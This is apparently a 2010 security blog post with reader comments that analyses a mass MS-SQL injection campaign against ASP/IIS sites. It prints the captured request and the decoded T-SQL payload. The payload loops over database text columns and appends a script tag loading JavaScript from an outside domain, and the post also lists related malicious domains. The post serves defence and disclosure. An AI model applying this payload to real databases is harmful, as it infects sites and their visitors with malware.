Original web request (payload truncated for readability):
2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - www.website.com 200 0 0 32068 1685 0
When we pull this apart we have:
dEcLaRe @s vArChAr(8000)
set @s=0x6445634C6152652040742076........6F523B2D2D
eXEc(@s)--
So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':
0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.
cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E
decoded:
0x<script src=hxxp://ww.robint.us/u.js></script>
UPDATED 11/06/10
Thanks to shadowservers' sinkholing operation the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:
hxxp://2677.in
hxxp://bbs.cnzz.com
hxxp://data.cnzz.com
hxxp://doc.cnzz.com
hxxp://go.cnzz.com
hxxp://liuyan.cnzz.com
hxxp:/miibeian.gov.cn
hxxp://new.cnzz.com
hxxp://s11.cnzz.com
hxxp://si1.cnzz.com
hxxp://tool.chinaz.com
hxxp://v1.cnzz.com
hxxp://w.cnzz.com
hxxp://www.cnzz.com
hxxp://www.lianmeng.com
hxxp://zs13.cnzz.com
UPDATE #2 11/06/10
I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.
https://www.virustotal.com/analisis/725f0cc85e34151e7e6af81a4f221b47a6825944cbaf68a4b5daf4023e5143e4-1276275724
UPDATE #3 11/06/10
There's some misinformation going around here and here stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.
13 comments:
Thanks for posting this. Is there an easy fix to prevent this type of attack in the future?
@NSM Junkie hope you don't mind the comment posting.
@biabwot the risk of sql injection / xss / web vulnerabilities can be minimized using code review / blackbox testing of web applications
@biabwot Any user-entered data which is passed to the database needs to be incoded. Casting integer values explicitly to an integer to strip all non-numeric data and encoding strings to prevent breaking out of quotes is all it takes. Additionally here it looks like the malicious HTML is inserted in the database. All data coming out of the database should be HTML encoded too.
In short: The easy fix is to write web apps correctly in the first place.
More info:
http://en.wikipedia.org/wiki/SQL_injection
@biabwot Also, the SQL contains multiple SQL statements. I use PHP and MySQL databases which by default will only execute one command. That makes it much harder to hack. So switching to PHP and MySQL might be a good security choice.
That would save you from something like:
http://xkcd.com/327/
More info comparing database security versus SQLi:
http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database
http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf
@biabwot the other comments summarize a few of the strategies for avoiding SQLi. I would also suggest checking out OWASP.
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/SQL_Injection
@Xander R. Solis - it's nice to have some real comments on my blog for once ;)
Why are you calling this an "IIS/ASP infection"? It doesn't seem to have anything to do with IIS/ASP.
@Mike Powell while the actual "attack" is SQLi they seem to be focused on targets running asp/aspx since the payload is MS-SQL specific. Obviously asp/aspx is a good indicator of a MS-SQL backend. "Mass SQL Injection" is a more technically appropriate title.
With that said the main choice of title was to follow along with what sucuri used when they first broke the story.
When you say you have it working with custom query string parameters, you're saying that if the attacker can predict those parameters before hand AND those parameters are used in an unparameterized SQL Query, which is trivial for one, but not as much for a mass attack like this.
So they are still vulnerable, but not to THIS particular attack.
I hope these tool-automated attacks don't evolve into hybrid SQL-JavaScript worms more malicious than the simple prototype I tested last year (2009):
slides:
http://www.scribd.com/doc/20027092/August-26th-2009
paper:
http://www.scribd.com/doc/19081797/wsegi2009orlicki
I wrote a detailed analysis of this incident here: http://blog.armorize.com/2010/06/recent-evolution-of-mass-sql-injection.html
biabwot says:
Thanks for all your help. The site was inherited - I didn't write it. The IIS/ASP.Net 3.5 site has all input fields encoded - so I don't think that is the answer. I wrote a stored proc to clean up the database (every text/varchar field in every row of every table was affected) then set ValidateInput = True in the page declaration. Also, I wrote an httpModule that looked for certain strings in the Query String and rejected input if they existed - that way I didn't have to touch all of the pages. Not the best approach, I know, but it will stop this little bugger.
Yeast Infection No More
Post a Comment